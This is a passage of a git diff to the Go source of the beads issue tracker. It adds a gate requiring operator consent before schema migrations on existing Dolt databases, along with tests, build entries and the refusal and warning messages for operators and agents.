state.Port, database) + syncCfg.RemoteSyncOpen = true + refuses("RemoteSyncOpen", syncCfg) + + lenientCfg := lenientOpenConfig(beadsDir, state.Port, database) + lenientCfg.LenientOpen = true + store, err := New(ctx, lenientCfg) + if err != nil { + t.Fatalf("New (LenientOpen) = %v, want it to continue past the consent refusal", err) + } + defer store.Close() + if got := lenientOpenSchemaVersion(t, ctx, store.db); got != 51 { + t.Fatalf("schema version after lenient open = %d, want 51 (no consent, so no migration)", got) + } + if err := store.Commit(ctx, "checkpoint before migration"); err != nil { + t.Fatalf("Commit: %v", err) + } + if got := lenientOpenDirtyCount(t, ctx, store.db); got != 0 { + t.Fatalf("dolt_status rows after commit = %d, want 0", got) + } + store.Close() + + schema.SetLocalMigrateConsent(true) + migrated, err := New(ctx, lenientOpenConfig(beadsDir, state.Port, database)) + if err != nil { + t.Fatalf("New (consented, post-commit): %v", err) + } + defer migrated.Close() + if got := lenientOpenSchemaVersion(t, ctx, migrated.db); got != schema.LatestVersion() { + t.Fatalf("schema version after consented open = %d, want latest %d", got, schema.LatestVersion()) + } + }) + t.Run("clean database still migrates through a lenient open", func(t *testing.T) { const database = "lenient_clean" admin := prepareLenientOpenDatabaseAtV51(t, ctx, state.Port, database) diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index 2dc8e0a13..e04352b54 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -392,14 +392,15 @@ type Config struct { // would make it eligible to sweep. ClassifiedRead bool - // LenientOpen opens the store leniently: a migration gate refusal (#4259) - // or a dirty-working-set refusal (#4566) skips the migration instead of - // failing the open. Set for working-set-reconcile commands (bd dolt - // commit, bd vc commit; #4566), whose entire purpose is to clear the - // working set that the migration would otherwise refuse to touch. - // Honored in embedded and server mode alike. Migrations still RUN on a - // lenient open — only those two refusals are tolerated — so a lenient - // open of a clean database converges normally. + // LenientOpen opens the store leniently: a migration gate refusal (#4259), + // a dirty-working-set refusal (#4566) or a migration-consent refusal + // skips the migration instead of failing the open. Set for + // working-set-reconcile commands (bd dolt commit, bd vc commit; #4566), + // whose entire purpose is to clear the working set that the migration + // would otherwise refuse to touch. Honored in embedded and server mode + // alike. Migrations still RUN on a lenient open — only those refusals are + // tolerated — so a lenient open of a clean database with consent to + // migrate converges normally. LenientOpen bool // RemoteSyncOpen is LenientOpen's narrow sibling for the #6575 @@ -2261,8 +2262,9 @@ func newServerMode(ctx context.Context, cfg *Config) (*DoltStore, error) { return nil, fmt.Errorf("failed to initialize schema: %w", err) } // A tolerated refusal still reports what the aborted pass - // applied (0 for both guards today, since each refuses before - // migrating), so the rebuild below stays correct either way. + // applied (0 for every tolerated refusal today, since each + // refuses before migrating), so the rebuild below stays correct + // either way. } // initSchema runs migrations over a separate pool (openMigrationDB). // The Ping above already pinned a connection in store.db to the @@ -2300,14 +2302,15 @@ func newServerMode(ctx context.Context, cfg *Config) (*DoltStore, error) { // warnLenientOpenRefusal reports whether a lenient open (Config.LenientOpen) // may continue past err instead of failing, warning on stderr when it may. // -// Server mode reaches the same two pending-migration refusals embedded mode +// Server mode reaches the same pending-migration refusals embedded mode // relaxes for this intent (embeddeddolt's openWorkingSetReconcile): the #4566 // dirty-table guard, whose documented recovery IS the commit these opens exist -// to run, and the #4259 remote-migrate gate, a coordination stop with no -// business blocking a commit of the local working set. Against an external -// server the operator cannot sidestep either by deleting a local database, so -// leaving them fatal here left the refusals with no in-band recovery at all -// (#5781). +// to run; the migration-consent refusal, which fires before that guard and so +// would rebuild the same deadlock on a database both behind and dirty; and +// the #4259 remote-migrate gate, a coordination stop with no business blocking +// a commit of the local working set. Against an external server the operator +// cannot sidestep any of them by deleting a local database, so leaving them +// fatal here left the refusals with no in-band recovery at all (#5781). // // Every other migration failure still fails the open, and the schema-skew and // identity guards run before this point either way: lenient relaxes migration, @@ -2318,10 +2321,15 @@ func warnLenientOpenRefusal(err error) bool { fmt.Fprintf(os.Stderr, "Warning: %v\n"+ " Committing the working set at the current schema; when it completes,\n"+ - " re-run 'bd migrate'.\n", + " re-run 'bd migrate schema'.\n", dirtyErr) return true } + var consentErr *schema.MigrateConsentError + if errors.As(err, &consentErr) { + fmt.Fprint(os.Stderr, consentErr.WorkingSetWarning()) + return true + } var gateErr *schema.RemoteMigrateGateError if errors.As(err, &gateErr) { fmt.Fprintf(os.Stderr, diff --git a/internal/storage/dolt/testmain_test.go b/internal/storage/dolt/testmain_test.go index 12ce7eb7b..2acb6e4af 100644 --- a/internal/storage/dolt/testmain_test.go +++ b/internal/storage/dolt/testmain_test.go @@ -9,6 +9,7 @@ import ( "testing" "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/storage/schema" "github.com/steveyegge/beads/internal/testutil" "github.com/steveyegge/beads/internal/testutil/credentialcmd" ) @@ -57,6 +58,11 @@ func TestMain(m *testing.M) { } func testMainInner(m *testing.M) int { + // Package-wide migration consent: these tests exercise the machinery that + // runs BELOW the consent gate (migrate_consent.go), exactly as production + // does once an operator has consented. Gate-behavior tests manage the + // consent state themselves. + schema.SetLocalMigrateConsent(true) os.Setenv("BEADS_TEST_MODE", "1") // BEADS_TEST_PDEATHSIG=1 protects TestMultiProcessSchemaInit_DoltVerify // (initschema_multiprocess_test.go), which calls doltserver.Start diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index a2fb5266a..181e37e32 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -176,6 +176,7 @@ go_test( "merge_blockers_test.go", "merge_strategy_test.go", "metadata_cas_contract_test.go", + "migrate_consent_gate_test.go", "migrate_dep_rekey_dedup_test.go", "migrate_events_flip_test.go", "migrate_frozen_guard_convergence_test.go", diff --git a/internal/storage/embeddeddolt/cache.go b/internal/storage/embeddeddolt/cache.go index 72d9166e7..cf7aa5709 100644 --- a/internal/storage/embeddeddolt/cache.go +++ b/internal/storage/embeddeddolt/cache.go @@ -48,8 +48,10 @@ func OpenForReadOnlyCommand(ctx context.Context, beadsDir, database, branch stri // is to reconcile the Dolt working set (bd dolt commit, bd vc commit) must be // able to open the store even when pending migrations touch dirty tables - // otherwise the commit that would clear the dirty state and unblock the -// migration can never run. The returned store is otherwise a normal writable -// store. +// migration can never run. A schema.MigrateConsentError, which fires first on +// a database that is also behind, is skipped the same way +// (toleratesConsentRefusal). The returned store is otherwise a normal +// writable store. func OpenForWorkingSetReconcile(ctx context.Context, beadsDir, database, branch string) (*EmbeddedDoltStore, error) { return openCached(ctx, beadsDir, database, branch, openWorkingSetReconcile) } diff --git a/internal/storage/embeddeddolt/migrate_consent_gate_test.go b/internal/storage/embeddeddolt/migrate_consent_gate_test.go new file mode 100644 index 000000000..2d7860231 --- /dev/null +++ b/internal/storage/embeddeddolt/migrate_consent_gate_test.go @@ -0,0 +1,190 @@ +//go:build cgo + +package embeddeddolt_test + +import ( + "context" + "fmt" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/storage/schema" + "github.com/steveyegge/beads/internal/types" +) + +// TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers covers +// the #4566 deadlock the migration-consent gate would otherwise rebuild one +// check earlier. On a database that is both behind and dirty, `bd migrate +// schema` consents but is refused by the dirty-table guard, whose remedy is +// `bd dolt commit`; that commit opens the store without consent, and MigrateUp +// checks consent before the dirty guard. The working-set-reconcile open must +// warn and commit at the current schema, strict and read-only opens must keep +// refusing, and the consented migration must then converge. +func TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt tests") + } + + ctx := t.Context() + beadsDir := filepath.Join(t.TempDir(), ".beads") + dataDir := filepath.Join(beadsDir, "embeddeddolt") + + // Build the fixture under the package-wide consent (TestMain): create + // and commit the database, leave `issues` dirty, and regress the cursor + // to v51 (absolute, for the reasons dirty_tables_gate_test.go gives). + store, err := embeddeddolt.Open(ctx, beadsDir, "testdb", "main") + if err != nil { + t.Fatalf("Open: %v", err) + } + if err := store.SetConfig(ctx, "issue_prefix", "testdb"); err != nil { + store.Close() + t.Fatalf("SetConfig(issue_prefix): %v", err) + } + if err := store.Commit(ctx, "bd init"); err != nil { + store.Close() + t.Fatalf("Commit (init): %v", err) + } + issue := &types.Issue{ + ID: "testdb-1", + Title: "dirty working set issue", + Status: types.StatusOpen, + Priority: 1, + IssueType: types.TypeTask, + } + if err := store.CreateIssue(ctx, issue, "tester"); err != nil { + store.Close() + t.Fatalf("CreateIssue: %v", err) + } + db, cleanup, err := embeddeddolt.OpenSQL(ctx, dataDir, "testdb", "main") + if err != nil { + store.Close() + t.Fatalf("OpenSQL: %v", err) + } + const regressedVersion = 51 + if _, err := db.ExecContext(ctx, + "DELETE FROM schema_migrations WHERE version > ?", regressedVersion); err != nil { + t.Fatalf("regress schema_migrations: %v", err) + } + _ = cleanup() + store.Close() + + // From here on no consent source is set: this is the `bd dolt commit` + // an operator runs on the dirty guard's advice. + schema.SetLocalMigrateConsent(false) + schema.SetForceAllowRemoteMigrate(false) + t.Cleanup(func() { schema.SetLocalMigrateConsent(true) }) + t.Setenv(schema.AllowMigrateEnv, "") + t.Setenv(schema.AllowRemoteMigrateEnv, "") + + type opener func(context.Context, string, string, string) (*embeddeddolt.EmbeddedDoltStore, error) + refuses := func(name string, open opener) { + t.Helper() + s, err := open(ctx, beadsDir, "testdb", "main") + if err == nil { + s.Close() + t.Fatalf("%s = nil, want *schema.MigrateConsentError on a behind database without consent", name) + } + if !schema.IsMigrateConsentError(err) { + t.Fatalf("%s error = %T (%v), want *schema.MigrateConsentError (consent is checked before the dirty guard)", name, err, err) + } + } + before := refusalSnapshot(t, dataDir, "testdb") + refuses("Open", embeddeddolt.Open) + refuses("OpenForReadOnlyCommand", embeddeddolt.OpenForReadOnlyCommand) + if after := refusalSnapshot(t, dataDir, "testdb"); after != before { + t.Fatalf("a refused open wrote to the database:\nbefore:\n%s\nafter:\n%s", before, after) + } + + var reconcileStore *embeddeddolt.EmbeddedDoltStore + var openErr error + warning := captureStderr(t, func() { + reconcileStore, openErr = embeddeddolt.OpenForWorkingSetReconcile(ctx, beadsDir, "testdb", "main") + }) + if openErr != nil { + t.Fatalf("OpenForWorkingSetReconcile = %v, want it to warn and continue past the consent refusal", openErr) + } + if want := "Working-set reconcile command: continuing on schema v51 without"; !strings.Contains(warning, want) { + reconcileStore.Close() + t.Fatalf("warning is missing %q; got:\n%s", want, warning) + } + if current, err := schemaVersion(ctx, dataDir, "testdb"); err != nil { + reconcileStore.Close() + t.Fatalf("read schema version: %v", err) + } else if current != regressedVersion { + reconcileStore.Close() + t.Fatalf("schema version = %d, want %d (no consent, so no migration)", current, regressedVersion) + } + if err := reconcileStore.Commit(ctx, "checkpoint"); err != nil { + reconcileStore.Close() + t.Fatalf("Commit: %v", err) + } + reconcileStore.Close() + + // The commit consented to nothing. + refuses("Open (after commit)", embeddeddolt.Open) + + // The consent `bd migrate schema` records now converges: the dirty guard + // that refused it has nothing left to refuse. + schema.SetLocalMigrateConsent(true) + migrated, err := embeddeddolt.Open(ctx, beadsDir, "testdb", "main") + if err != nil { + t.Fatalf("Open (consented, post-commit): %v", err) + } + defer migrated.Close() + if current, err := schemaVersion(ctx, dataDir, "testdb"); err != nil { + t.Fatalf("read schema version: %v", err) + } else if current != schema.LatestVersion() { + t.Fatalf("schema version after consented reopen = %d, want latest %d", current, schema.LatestVersion()) + } +} + +// refusalSnapshot renders what a refused open must leave untouched: the +// working-set status, the dolt_ignore patterns MigrateUp seeds, and the +// schema cursor. +func refusalSnapshot(t *testing.T, dataDir, database string) string { + t.Helper() + ctx := t.Context() + db, cleanup, err := embeddeddolt.OpenSQL(ctx, dataDir, database, "main") + if err != nil { + t.Fatalf("OpenSQL: %v", err) + } + defer func() { _ = cleanup() }() + var b strings.Builder + for _, q := range []string{ + "SELECT table_name, staged, status FROM dolt_status ORDER BY table_name, staged", + "SELECT pattern, ignored FROM dolt_ignore ORDER BY pattern", + "SELECT version FROM schema_migrations ORDER BY version", + } { + rows, err := db.QueryContext(ctx, q) + if err != nil { + t.Fatalf("%s: %v", q, err) + } + cols, err := rows.Columns() + if err != nil { + rows.Close() + t.Fatalf("%s: columns: %v", q, err) + } + fmt.Fprintf(&b, "%s\n", q) + for rows.Next() { + vals := make([]any, len(cols)) + for i := range vals { + vals[i] = new(any) + } + if err := rows.Scan(vals...); err != nil { + rows.Close() + t.Fatalf("%s: scan: %v", q, err) + } + for _, v := range vals { + fmt.Fprintf(&b, " %v", *(v.(*any))) + } + b.WriteString("\n") + } + if err := rows.Close(); err != nil { + t.Fatalf("%s: close: %v", q, err) + } + } + return b.String() +} diff --git a/internal/storage/embeddeddolt/store.go b/internal/storage/embeddeddolt/store.go index 4e8a121a9..842717273 100644 --- a/internal/storage/embeddeddolt/store.go +++ b/internal/storage/embeddeddolt/store.go @@ -98,8 +98,9 @@ func lenientGateWarningBody(gateErr *schema.RemoteMigrateGateError) string { // open on any pending-migration refusal; openReadOnlyCommand and // openWorkingSetReconcile relax both the #4259 remote-migrate gate refusal and // the #4566 dirty-table refusal, each with its own warning text (see -// initSchema); openRemoteSync relaxes exactly one gate refusal and nothing -// else. +// initSchema), and openWorkingSetReconcile alone also relaxes the +// migration-consent refusal (toleratesConsentRefusal); openRemoteSync relaxes +// exactly one gate refusal and nothing else. type openIntent int const ( @@ -115,7 +116,9 @@ const ( // commands (bd dolt commit, bd vc commit): their entire purpose is to // clear the dirty working set that a migration would otherwise refuse to // touch, so failing the open here would deadlock the documented recovery - // (#4566). Used by OpenForWorkingSetReconcile. + // (#4566). For the same reason it relaxes the migration-consent refusal, + // which fires before the dirty-table guard. Used by + // OpenForWorkingSetReconcile. openWorkingSetReconcile // openRemoteSync is the same shape of deadlock break as // openWorkingSetReconcile, for the #6575 data-behind gate refusal: that @@ -240,6 +243,27 @@ func (s *EmbeddedDoltStore) toleratesMigrationRefusal() bool { return s.intent == openReadOnlyCommand || s.intent == openWorkingSetReconcile } +// toleratesConsentRefusal reports whether this open's intent may warn and +// continue on the current schema past the migration-consent refusal +// (schema.MigrateConsentError) instead of failing the open. +// +// Only openWorkingSetReconcile may. MigrateUp checks consent before the #4566 +// dirty-table guard, so on a database that is both behind and dirty a strict +// commit open rebuilds the #4566 deadlock one check earlier: `bd migrate +// schema` is refused as dirty and names `bd dolt commit`, which is refused +// for consent. The commit needs no migration, and MigrateUp refuses before +// any write, so it runs on the current schema. +// +// openReadOnlyCommand stays strict on purpose. The remote-migrate gate lets +// reads ride through because its migrate-or-adopt decision is cross-clone +// coordination that takes a while to settle; this decision is one local +// command either way (`bd migrate schema`, or keep the matching release), and +// the refusal is where the operator learns it is needed. openRemoteSync stays +// strict for the reason toleratesMigrationRefusal gives. +func (s *EmbeddedDoltStore) toleratesConsentRefusal() bool { + return s.intent == openWorkingSetReconcile +} + // errClosed is returned when a method is called after Close. var errClosed = errors.New("embeddeddolt: store is closed") @@ -637,6 +661,11 @@ func (s *EmbeddedDoltStore) initSchema(ctx context.Context) error { // Embedded mode relies on the dolthub/driver/v2's local file/concurrency // controls; schema.MigrateUpWithLock requires a sql-server session lock. if _, err := schema.MigrateUp(ctx, conn); err != nil { + var consentErr *schema.MigrateConsentError + if s.toleratesConsentRefusal() && errors.As(err, &consentErr) { + fmt.Fprint(os.Stderr, consentErr.WorkingSetWarning()) + return nil + } var dirtyErr *schema.DirtyTablesError if s.toleratesMigrationRefusal() && errors.As(err, &dirtyErr) { // The guard exists to keep dirty user data from being entangled @@ -651,13 +680,13 @@ func (s *EmbeddedDoltStore) initSchema(ctx context.Context) error { fmt.Fprintf(os.Stderr, "Warning: %v\n"+ " Committing the working set at the current schema; when it completes,\n"+ - " re-run 'bd migrate'.\n", + " re-run 'bd migrate schema'.\n", dirtyErr) default: // openReadOnlyCommand fmt.Fprintf(os.Stderr, "Warning: %v\n"+ " Continuing without migrating. Run 'bd dolt commit' to commit the\n"+ - " working set at the current schema, then re-run 'bd migrate'.\n", + " working set at the current schema, then re-run 'bd migrate schema'.\n", dirtyErr) } return nil diff --git a/internal/storage/embeddeddolt/test_fixture_test.go b/internal/storage/embeddeddolt/test_fixture_test.go index 78b71e1a5..8f6820546 100644 --- a/internal/storage/embeddeddolt/test_fixture_test.go +++ b/internal/storage/embeddeddolt/test_fixture_test.go @@ -16,6 +16,7 @@ import ( "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/storage/schema" "github.com/steveyegge/beads/internal/types" ) @@ -49,6 +50,12 @@ func TestMain(m *testing.M) { } embeddedDoltFixtureRoot = root + // Package-wide migration consent: these tests exercise the machinery that + // runs BELOW the consent gate (migrate_consent.go), exactly as production + // does once an operator has consented. Gate-behavior tests manage the + // consent state themselves. + schema.SetLocalMigrateConsent(true) + code := m.Run() if err := os.RemoveAll(root); err != nil && code == 0 { fmt.Fprintln(os.Stderr, "remove embedded Dolt test fixture root:", err) diff --git a/internal/storage/schema/BUILD.bazel b/internal/storage/schema/BUILD.bazel index c3deff533..7d663e2e7 100644 --- a/internal/storage/schema/BUILD.bazel +++ b/internal/storage/schema/BUILD.bazel @@ -13,6 +13,7 @@ go_library( "dirty_tables_error.go", "ignored_cursor_untrack.go", "lock.go", + "migrate_consent.go", "migration_content_hashes.go", "migration_repairs.go", "remote_migrate_gate.go", @@ -146,10 +147,12 @@ go_test( "dolt_ignore_seed_test.go", "ignored_cursor_untrack_test.go", "lock_test.go", + "migrate_consent_test.go", "migration_0067_versioned_beads_test.go", "migration_0068_add_attribution_status_test.go", "migration_0069_datetime_precision_test.go", "migration_body_drain_test.go", + "migration_freeze_test.go", "migration_watchdog_test.go", "progress_test.go", "remote_migrate_gate_test.go", diff --git a/internal/storage/schema/lock.go b/internal/storage/schema/lock.go index e6c104b00..5f6602229 100644 --- a/internal/storage/schema/lock.go +++ b/internal/storage/schema/lock.go @@ -326,7 +326,14 @@ func MigrateUpWithLock(ctx context.Context, conn *sql.Conn, databaseName string, } } - applied, err = MigrateUp(ctx, conn) + // The same authority is consent for MigrateUp's own gate, which is that + // version-only test: an init that never sets local consent would otherwise + // be refused the retry of its own interrupted bootstrap. + migrate := MigrateUp + if o.freshBootstrapHeal != nil { + migrate = migrateUpConsented + } + applied, err = migrate(ctx, conn) var dirtyErr *DirtyTablesError if err != nil && o.freshBootstrapHeal != nil && errors.As(err, &dirtyErr) { // Authorization is checked after the dirty guard fires and while the @@ -347,7 +354,7 @@ func MigrateUpWithLock(ctx context.Context, conn *sql.Conn, databaseName string, if resetErr := drainFreshBootstrapReset(ctx, conn); resetErr != nil { return applied, errors.Join(err, fmt.Errorf("schema: fresh-bootstrap reset: %w", resetErr)) } - applied, err = MigrateUp(ctx, conn) + applied, err = migrate(ctx, conn) } return applied, err } diff --git a/internal/storage/schema/lock_test.go b/internal/storage/schema/lock_test.go index 2b0c1841a..0e926dcb2 100644 --- a/internal/storage/schema/lock_test.go +++ b/internal/storage/schema/lock_test.go @@ -1013,6 +1013,124 @@ func TestMigrateUpWithLockFreshBootstrapHealCapabilityIsOneShot(t *testing.T) { } } +// expectMigrateConsentReads mocks checkMigrateConsent's reads when no consent +// is held: the main cursor once for the fresh-database exemption, and again +// for the pending count. +func expectMigrateConsentReads(mock sqlmock.Sqlmock, cursor int) { + for range 2 { + expectCursorProbe(mock, "schema_migrations", true) + expectScalar(mock, "SELECT COALESCE(MAX(version), 0) FROM schema_migrations", "version", cursor) + } +} + +// TestMigrateUpWithLockFreshBootstrapHealIsMigrateConsent pins that heal +// authority is consent for MigrateUp's own gate, not just for the caller's +// migration gate. A retried server bootstrap finds the non-zero cursor its +// first pass left behind, and server-mode `bd init` records no local consent, +// so a version-only consent check would refuse the init the database it just +// created. Both migration passes are covered; sqlmock's ordered expectations +// fail either case on a consent read. +func TestMigrateUpWithLockFreshBootstrapHealIsMigrateConsent(t *testing.T) { + cases := map[string]func(t *testing.T, mock sqlmock.Sqlmock){ + "partially migrated": func(t *testing.T, mock sqlmock.Sqlmock) { + expectOnePendingMigration(t, mock) + }, + "partially migrated with dirty debris": func(t *testing.T, mock sqlmock.Sqlmock) { + expectDirtyGuardRefusal(t, mock) + expectFreshBootstrapIdentityMatch(mock) + mock.ExpectQuery(regexp.QuoteMeta("CALL DOLT_RESET('--hard')")). + WillReturnRows(sqlmock.NewRows([]string{"status"})) + expectOnePendingMigration(t, mock) + }, + } + for name, expectPasses := range cases { + t.Run(name, func(t *testing.T) { + failOnSwallowedAdvisory(t) + resetConsentState(t) + db, mock, err := sqlmock.New() + if err != nil { + t.Fatalf("create sql mock: %v", err) + } + defer db.Close() + + ctx := context.Background() + conn, err := db.Conn(ctx) + if err != nil { + t.Fatalf("pin mock connection: %v", err) + } + defer conn.Close() + + lockName := MigrationLockName("testdb") + mock.ExpectQuery(regexp.QuoteMeta("SELECT GET_LOCK(?, ?)")). + WithArgs(lockName, migrationLockAcquireTimeoutSeconds). + WillReturnRows(sqlmock.NewRows([]string{"locked"}).AddRow(1)) + expectPasses(t, mock) + mock.ExpectQuery(regexp.QuoteMeta("SELECT RELEASE_LOCK(?)")). + WithArgs(lockName). + WillReturnRows(sqlmock.NewRows([]string{"released"}).AddRow(1)) + + applied, err := MigrateUpWithLock(ctx, conn, "testdb", + WithFreshBootstrapHeal(testFreshBootstrapHealCapability(), testBootstrapEndpoint)) + if err != nil { + t.Fatalf("MigrateUpWithLock() error = %v", err) + } + if applied != 1 { + t.Fatalf("MigrateUpWithLock() applied = %d, want 1", applied) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } + }) + } +} + +// TestMigrateUpWithLockRefusesUnconsentedMigration is the control for the +// test above: the same behind database, opened without heal authority or +// consent, is refused under the lock before any write, and the lock is still +// released. +func TestMigrateUpWithLockRefusesUnconsentedMigration(t *testing.T) { + failOnSwallowedAdvisory(t) + resetConsentState(t) + db, mock, err := sqlmock.New() + if err != nil { + t.Fatalf("create sql mock: %v", err) + } + defer db.Close() + + ctx := context.Background() + conn, err := db.Conn(ctx) + if err != nil { + t.Fatalf("pin mock connection: %v", err) + } + defer conn.Close() + + lockName := MigrationLockName("testdb") + expectConvergedFastPathMiss(mock, "testdb") + mock.ExpectQuery(regexp.QuoteMeta("SELECT GET_LOCK(?, ?)")). + WithArgs(lockName, migrationLockAcquireTimeoutSeconds). + WillReturnRows(sqlmock.NewRows([]string{"locked"}).AddRow(1)) + expectMigrateConsentReads(mock, LatestVersion()-1) + mock.ExpectQuery(regexp.QuoteMeta("SELECT RELEASE_LOCK(?)")). + WithArgs(lockName). + WillReturnRows(sqlmock.NewRows([]string{"released"}).AddRow(1)) + + applied, err := MigrateUpWithLock(ctx, conn, "testdb", WithDatabaseSelector(testDatabaseSelector)) + if applied != 0 { + t.Fatalf("MigrateUpWithLock() applied = %d, want 0", applied) + } + var consentErr *MigrateConsentError + if !errors.As(err, &consentErr) { + t.Fatalf("MigrateUpWithLock() error = %v, want *MigrateConsentError", err) + } + if consentErr.CurrentVersion != LatestVersion()-1 || consentErr.Pending != 1 { + t.Fatalf("refusal = v%d with %d pending, want v%d with 1 pending", + consentErr.CurrentVersion, consentErr.Pending, LatestVersion()-1) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } +} + // TestMigrateUpWithLockMigrationGate pins where WithMigrationGate's callback // sits: after the lock and after locked preparation (so the gate reads a // prepared, selected database), before MigrateUp (so a refusal applies no diff --git a/internal/storage/schema/migrate_consent.go b/internal/storage/schema/migrate_consent.go new file mode 100644 index 000000000..a8fcc9eba --- /dev/null +++ b/internal/storage/schema/migrate_consent.go @@ -0,0 +1,235 @@ +package schema + +import ( + "context" + "errors" + "fmt" + "os" + "strconv" +) + +// Migration consent (gastownhall Beads 1.2 release remediation). +// +// bd used to auto-apply pending schema migrations the first time a new binary +// opened an existing database — on ANY command, including reads. The 1.2.x +// releases turned that into a trap: users upgraded by a package manager had +// their databases migrated in place with no prompt, and older binaries then +// refuse the migrated database (schema-skew guard). The remote-migrate gate +// (#4259) already refuses the silent migration for remote-backed databases; +// this gate extends the same contract to EVERY existing database: bd never +// initiates a schema migration without explicit operator consent. +// +// Consent is any of: +// - `bd migrate schema` (the verb that names the migration; the root +// command records the intent via SetLocalMigrateConsent before the store +// opens — bare `bd migrate` reconciles metadata and does not consent), +// - --force on `bd migrate` or `bd migrate schema` (the remote-gate +// override, a strict superset), or +// - BD_ALLOW_MIGRATE=1 (scripted/CI form; BD_ALLOW_REMOTE_MIGRATE=1 is +// honored as an alias for continuity with the remote gate's hatch). +// +// Fresh databases (no schema_migrations table, version 0) are exempt: creating +// a database is consent for its schema. A server bootstrap holding +// fresh-bootstrap heal authority keeps that consent across a retry whose +// interrupted first pass left a non-zero cursor (MigrateUpWithLock). The same +// creation principle covers a workspace this invocation just CLONED into +// existence (`bd init --remote`, `bd bootstrap` sync) — those paths record the +// consent explicitly, and the #4259 remote-migrate gate still applies to them +// unchanged. Databases already at this binary's latest version never consult +// the gate. The ignored (clone-local, dolt_ignored) migration sequence is +// deliberately NOT gated on its own: it only materializes per-clone +// bookkeeping tables and runs on every fresh clone — but when the MAIN +// sequence is pending and unconsented, MigrateUp refuses before ANY write, +// ignored sequence and dolt_ignore seeding included. +// +// A refusal fails the open, except for the working-set-reconcile commands +// (bd dolt commit, bd vc commit), which commit at the current schema without +// migrating: the refusal comes before the #4566 dirty-table guard, whose +// documented recovery is that commit (WorkingSetWarning). + +// AllowMigrateEnv, when set to a boolean true ("1", "true", ...), consents to +// applying pending schema migrations to an existing database. It is consulted +// only when migrations are actually pending, so exporting it permanently does +// not warn on every store open. +const AllowMigrateEnv = "BD_ALLOW_MIGRATE" + +// localMigrateConsent is the programmatic consent recorded by +// `bd migrate schema` and by the paths that just cloned the database into +// existence. Process-local by design, like forceAllowRemoteMigrate: it cannot +// leak into child processes. +var localMigrateConsent bool + +// SetLocalMigrateConsent records (or clears) the in-process consent to apply +// pending schema migrations to an existing database. Set by the root command +// when the invoked command is `bd migrate schema`, before both +// autoMigrateOnVersionBump and the main store open. External test packages may +// reset it to false after each test case. +func SetLocalMigrateConsent(v bool) { localMigrateConsent = v } + +// MigrateConsentError is returned when bd would apply pending schema +// migrations to an existing database without operator consent. +type MigrateConsentError struct { + CurrentVersion int + LatestVersion int + Pending int + // UnrecognizedEnv carries a BD_ALLOW_MIGRATE value that was set but not + // understood (only boolean values consent), so a typo'd hatch fails with + // a hint instead of silently staying locked (0054-gate precedent, + // bd-6dnrw.34). + UnrecognizedEnv string +} + +func (e *MigrateConsentError) Error() string { + return fmt.Sprintf("%s — run `bd migrate schema`, or keep using a bd release that matches schema v%d", + e.Refusal(), e.CurrentVersion) +} + +// Refusal states what was refused without prescribing a remedy, for surfaces +// that carry the remedy separately and must not hand an agent a runnable +// migration (cmd/bd's JSON refusal, whose remedies live in Options). +func (e *MigrateConsentError) Refusal() string { + return fmt.Sprintf( + "database schema is at v%d; this bd requires v%d (%d pending migration(s)), and bd no longer migrates a database without explicit consent", + e.CurrentVersion, e.LatestVersion, e.Pending) +} + +// AgentDirective is the non-runnable instruction surfaced to agents in place +// of a ready-to-run migrate command, following the remote-migrate gate's +// convention (RemoteMigrateGateError.AgentDirective). Migrating is one-way, +// and whether anything still has to open this database with an older bd is +// not observable from this process, so the decision goes to the operator. +func (e *MigrateConsentError) AgentDirective() string { + return fmt.Sprintf( + "Operator decision required: this database is at schema v%d and this bd requires v%d. Migrating is ONE-WAY — "+ + "bd releases built for an older schema refuse the migrated database, and whether one still has to open it "+ + "is not observable from this process. Do NOT auto-run the migration or set a consent environment variable "+ + "to get past this refusal: surface migrate_consent.options to the operator and let them choose.", + e.CurrentVersion, e.LatestVersion) +} + +// Options returns the two mutually exclusive paths, migrate or keep the +// current schema, each gated on its precondition and annotated with its risk. +// The migrate command is reachable only through the operator's decision, +// never as a top-level hint. Its verb is the shared-store gate's consent verb +// too, so cmd/bd retargets both with the same --global rewrite. +func (e *MigrateConsentError) Options() []GateOption { + return []GateOption{ + { + ID: "migrate", + When: "the operator chooses to upgrade this database, and nothing that still opens it runs a bd release built for an older schema (confirmed with the operator)", + Commands: []string{SharedConsentCommand}, + Risk: fmt.Sprintf("one-way: v%d -> v%d; bd releases built for an older schema refuse the migrated database", e.CurrentVersion, e.LatestVersion), + }, + { + ID: "keep", + When: fmt.Sprintf("something still has to open this database with a bd release built for schema v%d", e.CurrentVersion), + Commands: []string{}, + Risk: "none to the database; this bd release refuses it until it is migrated, so keep using the release that matches it", + }, + } +} + +// UserMessage renders the full operator-facing refusal. +func (e *MigrateConsentError) UserMessage() string { + msg := fmt.Sprintf( + "This database is at schema v%d; this bd release uses schema v%d.\n"+ + "bd no longer upgrades a database automatically (see the release notes).\n"+ + "\n"+ + " To upgrade this database (one-way; older bd releases cannot read it):\n"+ + " bd migrate schema\n"+ + "\n"+ + " To keep the current schema, keep using the bd release that created it.\n"+ + "\n"+ + " Scripted/CI consent: BD_ALLOW_MIGRATE=1 bd \n", + e.CurrentVersion, e.LatestVersion) + if e.UnrecognizedEnv != "" { + msg += fmt.Sprintf( + "\nNote: %s=%q was set but not understood (use a boolean value, e.g. \"1\" or \"true\"), so it did not consent.\n", + AllowMigrateEnv, e.UnrecognizedEnv) + } + return msg +} + +// WorkingSetWarning renders the stderr warning for a working-set-reconcile +// open (bd dolt 